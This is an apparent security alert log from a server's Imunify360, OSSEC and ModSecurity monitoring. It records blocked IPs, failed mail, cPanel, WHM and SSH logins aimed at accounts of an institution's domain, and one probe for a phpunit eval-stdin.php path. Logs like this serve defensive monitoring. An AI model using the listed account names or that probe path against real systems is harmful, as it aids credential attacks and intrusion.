description:
Jan 26 20:21:15 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.154.52 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.200.14.2
description:
2025-01-26 20:21:31 dovecot_plain authenticator failed for ([202.200.14.2]) [202.200.14.2]:36945: 535 Incorrect authentication data (set_id=okyere)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.2.141.155
description:
2025-01-26 20:21:06 dovecot_plain authenticator failed for ([59.2.141.155]) [59.2.141.155]:58922: 535 Incorrect authentication data (set_id=ads21b00230y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.195.69.156
description:
Jan 26 20:21:26 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.195.69.156 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.195.69.156
description:
2025-01-26 20:21:28 dovecot_login authenticator failed for (net69.195.109-156.krsk.ertelecom.ru) [109.195.69.156]:20388: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.200.14.2
description:
Jan 26 20:21:29 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.200.14.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 26 20:22:08 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.175.253.49
description:
2025-01-26 20:22:09 dovecot_plain authenticator failed for (unoircont) [89.175.253.49]:47602: 535 Incorrect authentication data (set_id=dgyan@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.29.130
description:
Jan 26 20:22:33 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.29.130 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 106.225.167.89
description:
Jan 26 20:22:34 ait sshd[2434794]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.225.167.89  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.138.119.75
description:
Jan 26 20:22:43 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.138.119.75 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.138.119.75
description:
2025-01-26 20:22:45 dovecot_plain authenticator failed for (75-119-138-120.mysipl.com) [120.138.119.75]:58510: 535 Incorrect authentication data (set_id=botchway)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.57.184.151
description:
Jan 26 20:21:55 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.57.184.151 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 200.24.133.251
description:
[2025-01-26 20:22:28 +0100] info [webmaild] 200.24.133.251 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.130
description:
2025-01-26 20:22:35 dovecot_plain authenticator failed for 111-70-29-130.emome-ip.hinet.net [111.70.29.130]:51576: 535 Incorrect authentication data (set_id=botchway@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.57.184.151
description:
2025-01-26 20:21:57 dovecot_login authenticator failed for ([103.57.184.151]) [103.57.184.151]:42542: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.157.230
description:
2025-01-26 20:22:04 dovecot_plain authenticator failed for (hemous) [207.188.157.230]:58387: 535 Incorrect authentication data (set_id=dgyan@ait.edu.gh)


plugin: modsec
rule: 77142160
name: IM360 WAF: Infectors. Dirb like fuzzing
abuser: 77.221.156.137
domain: lemsas.net
description:
IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php||RSV:6.65||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.188.157.230
description:
Jan 26 20:22:02 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.188.157.230 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.175.253.49
description:
Jan 26 20:22:07 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.175.253.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.225.167.89
description:
Jan 26 20:22:34 ait sshd[2434794]: pam_imunify(sshd:auth): [IM360_RBL] The IP 106.225.167.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.188.157.230
description:
Jan 26 20:23:18 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.188.157.230 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.100.17
description:
[2025-01-26 20:23:23 +0100] info [cpaneld] 156.228.100.17 - ads20b00337y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ads20b00337y (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.36.189
description:
[2025-01-26 20:23:24 +0100] info [cpaneld] 104.207.36.189 - ads20b00337y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ads20b00337y (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.39.143
description:
[2025-01-26 20:23:26 +0100] info [whostmgrd] 104.207.39.143 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.41.55
description:
[2025-01-26 20:23:26 +0100] info [whostmgrd] 104.207.41.55 - ads20b00337y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.133.17.20
description:
Jan 26 20:23:31 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.133.17.20 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
description:
2025-01-26 20:23:03 dovecot_login authenticator failed for ([169.211.232.182]) [169.211.232.182]:56708: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.84.212
description:
[2025-01-26 20:23:24 +0100] info [cpaneld] 156.228.84.212 - ait "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ait (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.95.106
description:
[2025-01-26 20:23:27 +0100] info [whostmgrd] 156.228.95.106 - ait "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.102.109
description:
[2025-01-26 20:23:28 +0100] info [whostmgrd] 156.228.102.109 - aitedugh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.106.126.27
description:
2025-01-26 20:23:04 dovecot_login authenticator failed for ([211.106.126.27]) [211.106.126.27]:49548: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.203.100
description:
2025-01-26 20:23:16 dovecot_login authenticator failed for (m121-202-203-100.smartone.com) [121.202.203.100]:46603: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.157.230
description:
2025-01-26 20:23:20 dovecot_plain authenticator failed for (renlea) [207.188.157.230]:3610: 535 Incorrect authentication data (set_id=mappiah@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.101.52
description:
[2025-01-26 20:23:24 +0100] info [cpaneld] 156.228.101.52 - aitedugh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user aitedugh (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.114.69
description:
[2025-01-26 20:23:25 +0100] info [cpaneld] 156.228.114.69 - ads20b00337y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ads20b00337y (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 169.211.232.182
description:
Jan 26 20:23:01 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 169.211.232.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.106.126.27
description:
Jan 26 20:23:02 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.106.126.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.203.100
description:
Jan 26 20:23:14 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.203.100 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.53.221
description:
[2025-01-26 20:23:28 +0100] info [whostmgrd] 104.207.53.221 - ads20b00337y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.44.81
description:
[2025-01-26 20:23:29 +0100] info [whostmgrd] 104.207.44.81 - ads20b00337y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.133.17.20
description:
2025-01-26 20:23:33 dovecot_login authenticator failed for ([120.133.17.20]) [120.133.17.20]:50628: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.18.90.114
description:
Jan 26 20:24:39 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.18.90.114 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.159.217.71
description:
Jan 26 20:24:42 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.159.217.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.108.83.139
description:
Jan 26 20:24:37 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.108.83.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.30.57.201
description:
Jan 26 20:24:17 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.30.57.201 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.18.90.114
description:
2025-01-26 20:24:41 dovecot_plain authenticator failed for ([58.18.90.114]) [58.18.90.114]:48361: 535 Incorrect authentication data (set_id=ads19b00251y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.159.217.71
description:
2025-01-26 20:24:44 dovecot_plain authenticator failed for 195-159-217-71.customer.powertech.no (extrots) [195.159.217.71]:58446: 535 Incorrect authentication data (set_id=ads21b00213y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.82.122.234
description:
Jan 26 20:24:49 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.82.122.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.172.225.52
description:
2025-01-26 20:24:49 dovecot_plain authenticator failed for ([178.172.225.52]) [178.172.225.52]:36738: 535 Incorrect authentication data (set_id=vondee@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.82.122.234
description:
2025-01-26 20:24:51 dovecot_plain authenticator failed for ([59.93.107.33]) [119.82.122.234]:54790: 535 Incorrect authentication data (set_id=ads19b00251y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.166.70.166
description:
2025-01-26 20:24:05 dovecot_plain authenticator failed for (enonizes) [109.166.70.166]:16756: 535 Incorrect authentication data (set_id=ads21b00213y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.30.57.201
description:
2025-01-26 20:24:19 dovecot_login authenticator failed for dynamic-186-30-57-201.dynamic.etb.net.co [186.30.57.201]:65235: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.88.121.73
description:
2025-01-26 20:24:42 dovecot_login authenticator failed for ([115.88.121.73]) [115.88.121.73]:60430: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.172.225.52
description:
Jan 26 20:24:47 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.172.225.52 has been locked due to Imunify RBL


